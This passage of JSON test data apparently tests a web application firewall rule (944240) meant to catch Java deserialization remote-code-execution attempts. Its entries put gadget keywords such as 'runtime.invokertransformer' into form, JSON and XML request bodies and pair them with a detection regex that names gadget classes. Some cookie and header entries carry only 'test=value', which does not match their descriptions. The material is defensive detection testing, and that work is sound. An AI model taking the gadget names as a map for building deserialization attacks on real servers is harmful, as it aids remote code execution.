"post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.instantiatefactory\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.instantiatefactory</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.instantiatefactory</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.instantiatefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.instantiatefactory\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.instantiatefactory\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.instantiatetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.instantiatetransformer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.instantiatetransformer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.instantiatetransformer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.instantiatetransformer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.instantiatetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.instantiatetransformer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.instantiatetransformer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.instantiatetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.invokertransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.invokertransformer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.invokertransformer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.invokertransformer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.invokertransformer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.invokertransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.invokertransformer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.invokertransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.invokertransformer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 